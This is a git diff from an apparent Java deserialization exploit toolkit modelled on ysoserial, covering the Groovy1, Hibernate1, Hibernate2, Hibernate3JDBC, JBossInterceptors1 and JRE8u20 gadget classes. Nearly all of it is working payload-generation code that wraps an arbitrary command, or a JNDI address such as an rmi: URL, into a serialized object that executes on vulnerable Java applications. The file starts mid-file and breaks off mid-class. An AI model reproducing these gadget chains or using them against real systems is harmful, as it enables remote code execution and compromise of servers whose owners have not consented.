org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) +@Authors({Authors.FROHOFF}) +public class Groovy1 implements ObjectPayload { + + public InvocationHandler getObject(final String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + + final Map map = createProxy(closure, Map.class); + + return Gadgets.createMemoizedInvocationHandler(map); + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java index 168d67d..352f601 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java @@ -1,175 +1,175 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.utils.DynamicDependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.hibernate.EntityMode; -import org.hibernate.engine.spi.TypedValue; -import org.hibernate.tuple.component.AbstractComponentTuplizer; -import org.hibernate.tuple.component.PojoComponentTuplizer; -import org.hibernate.type.AbstractType; -import org.hibernate.type.ComponentType; -import org.hibernate.type.Type; - -import java.lang.reflect.Array; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; - - -/** - * org.hibernate.property.access.spi.GetterMethodImpl.get() - * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() - * org.hibernate.type.ComponentType.getPropertyValue(C) - * org.hibernate.type.ComponentType.getHashCode() - * org.hibernate.engine.spi.TypedValue$1.initialize() - * org.hibernate.engine.spi.TypedValue$1.initialize() - * org.hibernate.internal.util.ValueHolder.getValue() - * org.hibernate.engine.spi.TypedValue.hashCode() - *

- * Requires: - * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) - * - * @author mbechler - */ -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Authors({Authors.MBECHLER}) -public class Hibernate1 implements ObjectPayload, DynamicDependencies { - - public static boolean isApplicableJavaVersion() { - return JavaVersion.isAtLeast(7); - } - - public static String[] getDependencies() { - if (System.getProperty("hibernate5") != null) { - return new String[]{ - "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", - "javax.transaction:javax.transaction-api:1.2" - }; - } - - return new String[]{ - "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", - "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" - }; - - } - - - public static Object makeGetter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException, - IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { - if (System.getProperty("hibernate5") != null) { - return makeHibernate5Getter(tplClass, method); - } - return makeHibernate4Getter(tplClass, method); - } - - - public static Object makeHibernate4Getter(Class tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, - SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { - Class getterIf = Class.forName("org.hibernate.property.Getter"); - Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); - Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); - Reflections.setAccessible(bgCon); - - if (!method.startsWith("get")) { - throw new IllegalArgumentException("Hibernate4 can only call getters"); - } - - String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); - - Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); - Object arr = Array.newInstance(getterIf, 1); - Array.set(arr, 0, g); - return arr; - } - - - public static Object makeHibernate5Getter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, - ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { - Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); - Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); - Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); - Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); - Object arr = Array.newInstance(getterIf, 1); - Array.set(arr, 0, g); - return arr; - } - - static Object makeCaller(Object tpl, Object getters) throws - Exception { - if (System.getProperty("hibernate3") != null) { - return makeHibernate3Caller(tpl, getters); - } - return makeHibernate45Caller(tpl, getters); - } - - static Object makeHibernate45Caller(Object tpl, Object getters) throws - Exception { - PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); - Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); - - ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); - Reflections.setFieldValue(t, "componentTuplizer", tup); - Reflections.setFieldValue(t, "propertySpan", 1); - Reflections.setFieldValue(t, "propertyTypes", new Type[]{ - t - }); - - TypedValue v1 = new TypedValue(t, null); - Reflections.setFieldValue(v1, "value", tpl); - Reflections.setFieldValue(v1, "type", t); - - TypedValue v2 = new TypedValue(t, null); - Reflections.setFieldValue(v2, "value", tpl); - Reflections.setFieldValue(v2, "type", t); - - return makeMap(v1, v2); - } - - static Object makeHibernate3Caller(Object tpl, Object getters) throws - Exception { - // Load at runtime to avoid dependency conflicts - Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); - Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); - Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); - - PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); - Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); - Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); - - ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); - HashMap hm = new HashMap(); - hm.put(EntityMode.POJO, tup); - Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); - Reflections.setFieldValue(t, "tuplizerMapping", emtm); - Reflections.setFieldValue(t, "propertySpan", 1); - Reflections.setFieldValue(t, "propertyTypes", new Type[]{ - t - }); - - Constructor typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); - Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); - Reflections.setFieldValue(v1, "value", tpl); - Reflections.setFieldValue(v1, "type", t); - - Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); - Reflections.setFieldValue(v2, "value", tpl); - Reflections.setFieldValue(v2, "type", t); - - return makeMap(v1, v2); - } - - public Object getObject(String command) throws Exception { - final Object tpl; - tpl = Gadgets.createTemplatesImpl(command); - Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); - return makeCaller(tpl, getters); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.DynamicDependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.hibernate.EntityMode; +import org.hibernate.engine.spi.TypedValue; +import org.hibernate.tuple.component.AbstractComponentTuplizer; +import org.hibernate.tuple.component.PojoComponentTuplizer; +import org.hibernate.type.AbstractType; +import org.hibernate.type.ComponentType; +import org.hibernate.type.Type; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; + + +/** + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + *

+ * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * @author mbechler + */ +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Authors({Authors.MBECHLER}) +public class Hibernate1 implements ObjectPayload, DynamicDependencies { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + if (System.getProperty("hibernate5") != null) { + return new String[]{ + "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2" + }; + } + + return new String[]{ + "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" + }; + + } + + + public static Object makeGetter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { + if (System.getProperty("hibernate5") != null) { + return makeHibernate5Getter(tplClass, method); + } + return makeHibernate4Getter(tplClass, method); + } + + + public static Object makeHibernate4Getter(Class tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, + SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + Reflections.setAccessible(bgCon); + + if (!method.startsWith("get")) { + throw new IllegalArgumentException("Hibernate4 can only call getters"); + } + + String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); + + Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public static Object makeHibernate5Getter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, + ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + static Object makeCaller(Object tpl, Object getters) throws + Exception { + if (System.getProperty("hibernate3") != null) { + return makeHibernate3Caller(tpl, getters); + } + return makeHibernate45Caller(tpl, getters); + } + + static Object makeHibernate45Caller(Object tpl, Object getters) throws + Exception { + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + Reflections.setFieldValue(t, "componentTuplizer", tup); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + TypedValue v1 = new TypedValue(t, null); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + TypedValue v2 = new TypedValue(t, null); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return makeMap(v1, v2); + } + + static Object makeHibernate3Caller(Object tpl, Object getters) throws + Exception { + // Load at runtime to avoid dependency conflicts + Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); + Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); + Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); + + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + HashMap hm = new HashMap(); + hm.put(EntityMode.POJO, tup); + Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); + Reflections.setFieldValue(t, "tuplizerMapping", emtm); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + Constructor typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); + Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return makeMap(v1, v2); + } + + public Object getObject(String command) throws Exception { + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); + return makeCaller(tpl, getters); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java index b85202b..70708de 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java @@ -1,56 +1,56 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.utils.DynamicDependencies; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.sun.rowset.JdbcRowSetImpl; - -/** - * Another application filter bypass - *

- * Needs a getter invocation that is provided by hibernate here - *

- * javax.naming.InitialContext.InitialContext.lookup() - * com.sun.rowset.JdbcRowSetImpl.connect() - * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() - * org.hibernate.property.access.spi.GetterMethodImpl.get() - * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() - * org.hibernate.type.ComponentType.getPropertyValue(C) - * org.hibernate.type.ComponentType.getHashCode() - * org.hibernate.engine.spi.TypedValue$1.initialize() - * org.hibernate.engine.spi.TypedValue$1.initialize() - * org.hibernate.internal.util.ValueHolder.getValue() - * org.hibernate.engine.spi.TypedValue.hashCode() - *

- *

- * Requires: - * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) - *

- * Arg: - * - JNDI name (i.e. rmi:) - *

- * Yields: - * - JNDI lookup invocation (e.g. connect to remote RMI) - * - * @author mbechler - */ - -@SuppressWarnings({"unused"}) -@Authors({Authors.MBECHLER}) -public class Hibernate2 implements ObjectPayload, DynamicDependencies { - - public static boolean isApplicableJavaVersion() { - return JavaVersion.isAtLeast(7); - } - - public static String[] getDependencies() { - return Hibernate1.getDependencies(); - } - - public Object getObject(String command) throws Exception { - - JdbcRowSetImpl rs = new JdbcRowSetImpl(); - rs.setDataSourceName(command); - return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData")); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.DynamicDependencies; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.sun.rowset.JdbcRowSetImpl; + +/** + * Another application filter bypass + *

+ * Needs a getter invocation that is provided by hibernate here + *

+ * javax.naming.InitialContext.InitialContext.lookup() + * com.sun.rowset.JdbcRowSetImpl.connect() + * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + *

+ *

+ * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + *

+ * Arg: + * - JNDI name (i.e. rmi:) + *

+ * Yields: + * - JNDI lookup invocation (e.g. connect to remote RMI) + * + * @author mbechler + */ + +@SuppressWarnings({"unused"}) +@Authors({Authors.MBECHLER}) +public class Hibernate2 implements ObjectPayload, DynamicDependencies { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + return Hibernate1.getDependencies(); + } + + public Object getObject(String command) throws Exception { + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(command); + return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData")); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java index c3fd8fb..898656c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java @@ -1,52 +1,52 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.DynamicDependencies; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; - -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink; -import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; - -@SuppressWarnings({"unused"}) -@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) -@Authors({Authors.UNAM4}) -public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { - @Override - public Object getObject(String command) throws Exception { - ClassPool pool = ClassPool.getDefault(); - CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl"); - CtClass serializable = pool.get("java.io.Serializable"); - driverconimpl.addInterface(serializable); - insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;"); - insertField(driverconimpl, "url", "private String url;"); - insertField(driverconimpl, "poolSize", "private int poolSize;"); - insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();"); - - - CtMethod make = CtMethod.make( - "public void configure(java.util.Map configurationValues) { " + - "this.url = (String) configurationValues.get(\"hibernate.connection.url\");" + - "this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" + - "this.pool = new java.util.ArrayList();" + - "}", driverconimpl); - driverconimpl.addMethod(make); - - - Class clazz = driverconimpl.toClass(); - Object o1 = clazz.newInstance(); - HashMap map1 = new HashMap<>(); - map1.put("hibernate.connection.url", command); - map1.put("hibernate.connection.pool_size", "0"); - - clazz.getMethod("configure", Map.class).invoke(o1, map1); - - return getFastjsonSink(o1); - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.DynamicDependencies; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink; +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + +@SuppressWarnings({"unused"}) +@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) +@Authors({Authors.UNAM4}) +public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { + @Override + public Object getObject(String command) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl"); + CtClass serializable = pool.get("java.io.Serializable"); + driverconimpl.addInterface(serializable); + insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;"); + insertField(driverconimpl, "url", "private String url;"); + insertField(driverconimpl, "poolSize", "private int poolSize;"); + insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();"); + + + CtMethod make = CtMethod.make( + "public void configure(java.util.Map configurationValues) { " + + "this.url = (String) configurationValues.get(\"hibernate.connection.url\");" + + "this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" + + "this.pool = new java.util.ArrayList();" + + "}", driverconimpl); + driverconimpl.addMethod(make); + + + Class clazz = driverconimpl.toClass(); + Object o1 = clazz.newInstance(); + HashMap map1 = new HashMap<>(); + map1.put("hibernate.connection.url", command); + map1.put("hibernate.connection.pool_size", "0"); + + clazz.getMethod("configure", Map.class).invoke(o1, map1); + + return getFastjsonSink(o1); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java index 0e3c76b..68dc570 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java @@ -1,18 +1,18 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; - -import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain; - -@SuppressWarnings({"unused"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", - "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", - "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) -@Authors({Authors.MATTHIASKAISER}) -public class JBossInterceptors1 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; + +import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain; + +@SuppressWarnings({"unused"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JBossInterceptors1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java index f4fe223..de961f4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java @@ -1,106 +1,106 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.jre.*; - -import javax.xml.transform.Templates; -import java.beans.beancontext.BeanContextChild; -import java.beans.beancontext.BeanContextSupport; -import java.io.ByteArrayOutputStream; -import java.io.DataOutputStream; -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.Starter.JYsoMode; - - -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies -@Authors({"frohoff"}) -public class JRE8u20 implements ObjectPayload { - - public static Object makeTemplates(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - Reflections.setFieldValue(templates, "_auxClasses", null); - return templates; - } - - public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception { - TCObject handler = new TCObject(ser) { - public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { - ByteArrayOutputStream byteout = new ByteArrayOutputStream(); - super.doWrite(new DataOutputStream(byteout), handles); - byte[] bytes = byteout.toByteArray(); - out.write(bytes, 0, bytes.length - 1); - } - }; - TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3); - desc.addField(new TCClassDesc.Field("memberValues", Map.class)); - desc.addField(new TCClassDesc.Field("type", Class.class)); - TCObject.ObjectData data = new TCObject.ObjectData(); - data.addData(map); - data.addData(Templates.class); - handler.addClassDescData(desc, data); - return handler; - } - - public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { - TCObject obj = new TCObject(ser); - TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); - TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); - beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); - TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); - beanContextSupportData.addData(1); - beanContextSupportData.addData(handler); - beanContextSupportData.addData(0, true); - beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class)); - TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData(); - beanContextChildSupportData.addData(obj); - obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true); - obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData); - return obj; - } - - public static boolean isApplicableJavaVersion() { - JavaVersion v = JavaVersion.getLocalVersion(); - return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20))); - } - - public Object getObject(String command) throws Exception { - Serialization ser = new Serialization(); - Object templates = makeTemplates(command); - HashMap map = new HashMap<>(); - map.put("f5a5a608", templates); - TCObject handler = makeHandler(map, ser); - TCObject linkedHashset = new TCObject(ser); - TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); - TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); - TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); - hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); - TCObject.ObjectData hashsetData = new TCObject.ObjectData(); - hashsetData.addData(makeBeanContextSupport(handler, ser)); - hashsetData.addData(10, true); - hashsetData.addData(1.0F, true); - hashsetData.addData(2, true); - hashsetData.addData(templates); - TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser); - hashsetData.addData(proxy); - linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData); - linkedHashset.addClassDescData(hashsetDesc, hashsetData, true); - ser.addObject(linkedHashset); - - if (JYsoMode) { - ser.write(System.out); - System.exit(0); - } - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ser.write(out); - return out.toByteArray(); - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.jre.*; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextChild; +import java.beans.beancontext.BeanContextSupport; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.Starter.JYsoMode; + + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies +@Authors({"frohoff"}) +public class JRE8u20 implements ObjectPayload { + + public static Object makeTemplates(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + Reflections.setFieldValue(templates, "_auxClasses", null); + return templates; + } + + public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception { + TCObject handler = new TCObject(ser) { + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + super.doWrite(new DataOutputStream(byteout), handles); + byte[] bytes = byteout.toByteArray(); + out.write(bytes, 0, bytes.length - 1); + } + }; + TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3); + desc.addField(new TCClassDesc.Field("memberValues", Map.class)); + desc.addField(new TCClassDesc.Field("type", Class.class)); + TCObject.ObjectData data = new TCObject.ObjectData(); + data.addData(map); + data.addData(Templates.class); + handler.addClassDescData(desc, data); + return handler; + } + + public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { + 